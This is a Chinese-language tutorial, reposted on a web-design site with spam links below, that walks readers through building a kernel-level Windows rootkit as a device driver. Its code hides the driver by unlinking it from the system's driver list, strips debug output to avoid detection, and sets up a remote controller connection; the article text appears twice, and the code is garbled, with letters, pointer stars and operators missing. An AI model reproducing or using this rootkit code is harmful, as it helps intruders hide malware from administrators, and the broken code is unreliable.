Rootkit隐形技术教程(图)
网站建设 2023-02-09 11:06www.1681989.com免费网站
一、综述
本文将引领读者打造一个初级的内核级Rootkit,然后为其引入两种简单的隐形技术进程隐形技术和文件隐形技术。,为了让读者获得rootkit编程的相关经验,我们顺便介绍了rootkit的装载、卸载方法,以及必不可少的测试技术。
本文介绍的Rootkit的主要构件是一个设备驱动程序,所以我们了解一下我们的第一个rootkit。
二、rootkit主体
本节引入一个简单的rootkit实例,它实际上只给出了rootkit的主体框架,换句话说,就是一个设备驱动程序。那么为什么要用设备驱动程序作为主体呢?很明显,因为在系统中,设备驱动程序和操作系统一样,都是程序中的特权阶级——它们运行于Rg0,有权访问系统中的所有代码和数据。还有一点需要说明的是,因为本例主要目的在于介绍rootkit是如何隐形的,所以并没有实现后门之类的具体功能,。
我们将以源代码的形式说明rootkit,对着重介绍一些重要的数据结构和函数。下面,先给出我们用到的第一个文件,它是一个头文件,名为Invisible.h,具体如下所示
//Invisible.h我们rootkit的头文件
#ifndef _INVISIBLE_H_
#defe _INVISIBLE_H_
typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef struct _DRIVER_DATA
{
LIST_ENTRY listEntry;
DWORD unknown1;
DWORD unknown2;
DWORD unknown3;
DWORD unknown4;
DWORD unknown5;
DWORD unknown6;
DWORD unknown7;
UNICODE_STRING path;
UNICODE_STRING name;
} DRIVER_DATA;
#endif
我们知道,应用软件只要简单引用几个文件如stdio.h和wdows.h,就能囊括大量的定义。但这种做法到了驱动程序这里就行不通了,原因大致有二条,一是驱动程序体积一般较为紧凑,二是驱动程序用途较为专一,用到的数据类型较少。,我们这里给出了一个头文件Invisible.h,其中定义了一些供我们的rootkit之用的数据类型。
这里定义的类型中,有一个数据类型要提一下双字类型,它实际上是一个无符号长整型。,DRIVER_DATA是Wdows 操作系统未公开的一个数据结构,其中含有分别指向设备驱动程序目录中上一个和下一个设备驱动程序的指针。而我们这里开发的rootkit恰好就是作为设备驱动程序来实现,所以,只要从设备驱动程序目录中将我们的rootkit(即驱动程序)所对应的目录项去掉,系统管理程序就看不到它了,从而实现了隐形。
上面介绍了rootkit的头文件,现在开始介绍rootkit的主体部分,它实际就是一个基本的设备驱动程序,具体代码如下面的Invisible.c所示
// Invisible
#clude "ntddk.h"
#clude "Invisible.h"
#clude "fileManager.h"
#clude "configManager.h"
// 全局变量
ULONG majorVersion;
ULONG morVersion;
//当进行free build时,将其注释掉,以防被检测到
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
DbgPrt("t16: OnUnload called.");
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
DRIVER_DATA driverData;
//取得操作系统的版本
PsGetVersion( &majorVersion, &morVersion, NULL, NULL );
// Major = 4: Wdows NT 4.0, Wdows Me, Wdows 98 或 Wdows 95
// Major = 5: Wdows Server 2003, Wdows XP 或 Wdows 2000
// Mor = 0: Wdows 2000, Wdows NT 4.0 或 Wdows 95
// Mor = 1: Wdows XP
// Mor = 2: Wdows Server 2003
if ( majorVersion == 5 && morVersion == 2 )
{
DbgPrt("t16: Runng on Wdows 2003");
}
else if ( majorVersion == 5 && morVersion == 1 )
{
DbgPrt("t16: Runng on Wdows XP");
}
else if ( majorVersion == 5 && morVersion == 0 )
{
DbgPrt("t16: Runng on Wdows 2000");
}
else if ( majorVersion == 4 && morVersion == 0 )
{
DbgPrt("t16: Runng on Wdows NT 4.0");
}
else
{
DbgPrt("t16: Runng on unknown system");
}
// 隐藏该驱动程序
driverData = ((DRIVER_DATA)((DWORD)pDriverObject 20));
if( driverData != NULL )
{
// 将本驱动程序的相应目录项从项驱动程序目录中拆下来
((PDWORD)driverData->listEntry.Blk) = (DWORD)driverData->listEntry.Flk;
driverData->listEntry.Flk->Blk = driverData->listEntry.Blk;
}
// 允许卸载本驱动程序
pDriverObject->DriverUnload = OnUnload;
// 为本Rootkit的控制器配置连接
if( !NT_SUCCESS( Configure() ) )
{
DbgPrt("t16: Could not configure remote connection.\n");
return STATUS_UNSUCCESSFUL;
}
return STATUS_SUCCESS;
}
本文将引领读者打造一个初级的内核级Rootkit,然后为其引入两种简单的隐形技术进程隐形技术和文件隐形技术。,为了让读者获得rootkit编程的相关经验,我们顺便介绍了rootkit的装载、卸载方法,以及必不可少的测试技术。
本文介绍的Rootkit的主要构件是一个设备驱动程序,所以我们了解一下我们的第一个rootkit。
二、rootkit主体
本节引入一个简单的rootkit实例,它实际上只给出了rootkit的主体框架,换句话说,就是一个设备驱动程序。那么为什么要用设备驱动程序作为主体呢?很明显,因为在系统中,设备驱动程序和操作系统一样,都是程序中的特权阶级——它们运行于Rg0,有权访问系统中的所有代码和数据。还有一点需要说明的是,因为本例主要目的在于介绍rootkit是如何隐形的,所以并没有实现后门之类的具体功能,。
我们将以源代码的形式说明rootkit,对着重介绍一些重要的数据结构和函数。下面,先给出我们用到的第一个文件,它是一个头文件,名为Invisible.h,具体如下所示
//Invisible.h我们rootkit的头文件
#ifndef _INVISIBLE_H_
#defe _INVISIBLE_H_
typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef struct _DRIVER_DATA
{
LIST_ENTRY listEntry;
DWORD unknown1;
DWORD unknown2;
DWORD unknown3;
DWORD unknown4;
DWORD unknown5;
DWORD unknown6;
DWORD unknown7;
UNICODE_STRING path;
UNICODE_STRING name;
} DRIVER_DATA;
#endif
我们知道,应用软件只要简单引用几个文件如stdio.h和wdows.h,就能囊括大量的定义。但这种做法到了驱动程序这里就行不通了,原因大致有二条,一是驱动程序体积一般较为紧凑,二是驱动程序用途较为专一,用到的数据类型较少。,我们这里给出了一个头文件Invisible.h,其中定义了一些供我们的rootkit之用的数据类型。
这里定义的类型中,有一个数据类型要提一下双字类型,它实际上是一个无符号长整型。,DRIVER_DATA是Wdows 操作系统未公开的一个数据结构,其中含有分别指向设备驱动程序目录中上一个和下一个设备驱动程序的指针。而我们这里开发的rootkit恰好就是作为设备驱动程序来实现,所以,只要从设备驱动程序目录中将我们的rootkit(即驱动程序)所对应的目录项去掉,系统管理程序就看不到它了,从而实现了隐形。
上面介绍了rootkit的头文件,现在开始介绍rootkit的主体部分,它实际就是一个基本的设备驱动程序,具体代码如下面的Invisible.c所示
// Invisible
#clude "ntddk.h"
#clude "Invisible.h"
#clude "fileManager.h"
#clude "configManager.h"
// 全局变量
ULONG majorVersion;
ULONG morVersion;
//当进行free build时,将其注释掉,以防被检测到
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
DbgPrt("t16: OnUnload called.");
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
DRIVER_DATA driverData;
//取得操作系统的版本
PsGetVersion( &majorVersion, &morVersion, NULL, NULL );
// Major = 4: Wdows NT 4.0, Wdows Me, Wdows 98 或 Wdows 95
// Major = 5: Wdows Server 2003, Wdows XP 或 Wdows 2000
// Mor = 0: Wdows 2000, Wdows NT 4.0 或 Wdows 95
// Mor = 1: Wdows XP
// Mor = 2: Wdows Server 2003
if ( majorVersion == 5 && morVersion == 2 )
{
DbgPrt("t16: Runng on Wdows 2003");
}
else if ( majorVersion == 5 && morVersion == 1 )
{
DbgPrt("t16: Runng on Wdows XP");
}
else if ( majorVersion == 5 && morVersion == 0 )
{
DbgPrt("t16: Runng on Wdows 2000");
}
else if ( majorVersion == 4 && morVersion == 0 )
{
DbgPrt("t16: Runng on Wdows NT 4.0");
}
else
{
DbgPrt("t16: Runng on unknown system");
}
// 隐藏该驱动程序
driverData = ((DRIVER_DATA)((DWORD)pDriverObject 20));
if( driverData != NULL )
{
// 将本驱动程序的相应目录项从项驱动程序目录中拆下来
((PDWORD)driverData->listEntry.Blk) = (DWORD)driverData->listEntry.Flk;
driverData->listEntry.Flk->Blk = driverData->listEntry.Blk;
}
// 允许卸载本驱动程序
pDriverObject->DriverUnload = OnUnload;
// 为本Rootkit的控制器配置连接
if( !NT_SUCCESS( Configure() ) )
{
DbgPrt("t16: Could not configure remote connection.\n");
return STATUS_UNSUCCESSFUL;
}
return STATUS_SUCCESS;
}
上一篇:Unicode的消息介绍(图)
下一篇:用ASP脚本命令重启服务器
网站设计
- 静宁会SEO的网站建设公司:全面提升您的网络影
- 提升在线业务的关键:选择最佳的丽水网站建设
- 浙江网站优化发展潜力如何
- 井研专业的网站建设公司:打造您的在线品牌
- 灵山SEO网站建设公司:提升您的在线业务表现
- 蒙城网站建设优化公司:提升您网站表现的理想
- 阳谷企业网站优化:提升线上业务力的关键
- 樟树专业的网站建设公司:打造您在线业务的坚
- 通河百度SEO排名的策略与技巧
- 重庆百度快照排名如何进行精准的客户引流
- 重庆百度快照排名
- 常宁便宜的建站公司:助您轻松打造在线业务
- 巫溪百度网站优化:提升网站曝光率与流量的关
- 湖北整站优化怎么做才能放大客户需求
- 闸北网站建设多少钱?全面解析与预算规划
- 辽宁企业网站优化怎么做电话营销